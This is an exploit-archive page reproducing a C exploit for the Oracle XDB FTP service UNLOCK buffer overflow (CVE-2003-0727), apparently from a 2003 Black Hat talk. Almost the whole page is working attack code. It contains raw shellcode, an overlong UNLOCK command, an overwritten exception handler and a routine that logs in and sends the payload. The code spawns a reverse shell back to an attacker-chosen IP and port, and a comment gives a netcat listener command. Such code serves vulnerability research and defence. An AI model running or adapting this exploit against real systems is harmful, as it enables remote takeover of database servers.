what you don't know can hurt you

Oracle XDB FTP Service UNLOCK Buffer Overflow

Oracle XDB FTP Service UNLOCK Buffer Overflow
Posted Aug 12, 2017
Authored by David Litchfield

Oracle XDB FTP service UNLOCK buffer overflow exploit.

tags | exploit, overflow
advisories | CVE-2003-0727
SHA-256 | 9e19613c0772392eaf9f901e50037bd1162a139d600f1e7c69b1a0f577c16ba4

Oracle XDB FTP Service UNLOCK Buffer Overflow

Change Mirror Download
/*  Oracle XDB FTP Service UNLOCK Buffer Overflow Exploit */
/* David Litchfield from ngssoftware (at Blackhat 2003)*/
/* */
/* Original Advisory : */
/* http://www.blackhat.com/presentations/bh-usa-03/bh- */
/* us-03-litchfield-paper.pdf */


#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOfOracle(char *, char *);
int StartWinsock(void);
int SetUpExploit(char *,int);

struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]="";

unsigned char exploit[508]=
"\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF"
"\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50"
"\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C"
"\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89"
"\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13"
"\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC"
"\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C"
"\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89"
"\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83"
"\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89"
"\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33"
"\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A"
"\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66"
"\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45"
"\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0"
"\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84"
"\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57"
"\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50"
"\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8"
"\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD"
"\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03"
"\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48"
"\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83"
"\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41"
"\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03"
"\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3"
"\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C"
"\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8"
"\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B"
"\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B"
"\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF"
"\xFF\xFF\xFF\xFF";

char exploit_code[8000]=
"UNLOCK / aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnn"
"nooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAAAABBBBCCCCD"
"DDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSST"
"TTTUUUUVVVVWWWWXXXXYYYYZZZZabcdefghijklmnopqrstuvwxyzABCDEFGHIJK"
"LMNOPQRSTUVWXYZ0000999988887777666655554444333322221111098765432"
"1aaaabbbbcc";


char exception_handler[8]="\x79\x9B\xf7\x77";
char short_jump[8]="\xEB\x06\x90\x90";


int main(int argc, char *argv[])
{
if(argc != 6)
{
printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit");
printf("\n\t\tfor Blackhat (http://www.blackhat.com)");
printf("\n\n\tSpawns a reverse shell to specified port");
printf("\n\n\tUsage:\t%s host userid password ipaddress port",argv[0]);
printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)");
printf("\n\t6th July 2003\n\n\n");
return 0;
}
strncpy(host,argv[1],250);
if(StartWinsock()==0)
return printf("Error starting Winsock.\n");
SetUpExploit(argv[4],atoi(argv[5]));
strcat(exploit_code,short_jump);
strcat(exploit_code,exception_handler);
strcat(exploit_code,exploit);
strcat(exploit_code,"\r\n");


GainControlOfOracle(argv[2],argv[3]);
return 0;
}


int SetUpExploit(char *myip, int myport)
{
unsigned int ip=0;
unsigned short prt=0;
char *ipt="";
char *prtt="";


ip = inet_addr(myip);
ipt = (char*)&ip;
exploit[191]=ipt[0];
exploit[192]=ipt[1];
exploit[193]=ipt[2];
exploit[194]=ipt[3];
// set the TCP port to connect on
// netcat should be listening on this port
// e.g. nc -l -p 80

prt = htons((unsigned short)myport);
prt = prt ^ 0xFFFF;
prtt = (char *) &prt;
exploit[209]=prtt[0];
exploit[210]=prtt[1];
return 0;
}


int StartWinsock() {
int err=0; WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
return 0;

if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{ WSACleanup( );
return 0; }


if (isalpha(host[0])) {
he = gethostbyname(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
} else
{ addr = inet_addr(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,&addr,4);
he = (struct hostent *)1;
}
if (he == NULL) {
return 0; }
return 1; }


int GainControlOfOracle(char *user, char *pass) {
char usercmd[260]="user ";
char passcmd[260]="pass ";
char resp[1600]="";
int snd=0,rcv=0;
struct sockaddr_in r_addr;
SOCKET sock;


strncat(usercmd,user,230);
strcat(usercmd,"\r\n");
strncat(passcmd,pass,230);
strcat(passcmd,"\r\n");


sock=socket(AF_INET,SOCK_STREAM,0);
if (sock==INVALID_SOCKET)
return printf(" sock error");
r_addr.sin_family=AF_INET; r_addr.sin_addr.s_addr=INADDR_ANY;
r_addr.sin_port=htons((unsigned short)0);

s_sa.sin_port=htons((unsigned short)2100);
if (connect(sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) return printf("Connect error");
rcv = recv(sock,resp,1500,0);
printf("%s",resp);
ZeroMemory(resp,1600);
snd=send(sock, usercmd , strlen(usercmd) , 0);
rcv = recv(sock,resp,1500,0);
printf("%s",resp); ZeroMemory(resp,1600);


snd=send(sock, passcmd , strlen(passcmd) , 0);
rcv = recv(sock,resp,1500,0);
printf("%s",resp);
if(resp[0]=='5')
{ closesocket(sock);
return printf("Failed to log in using user %s and password %s.\n",user,pass);
}
ZeroMemory(resp,1600);
snd=send(sock, exploit_code, strlen(exploit_code) , 0);
Sleep(2000);
closesocket(sock);
return 0;
}

// milw0rm.com [2003-08-13]

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close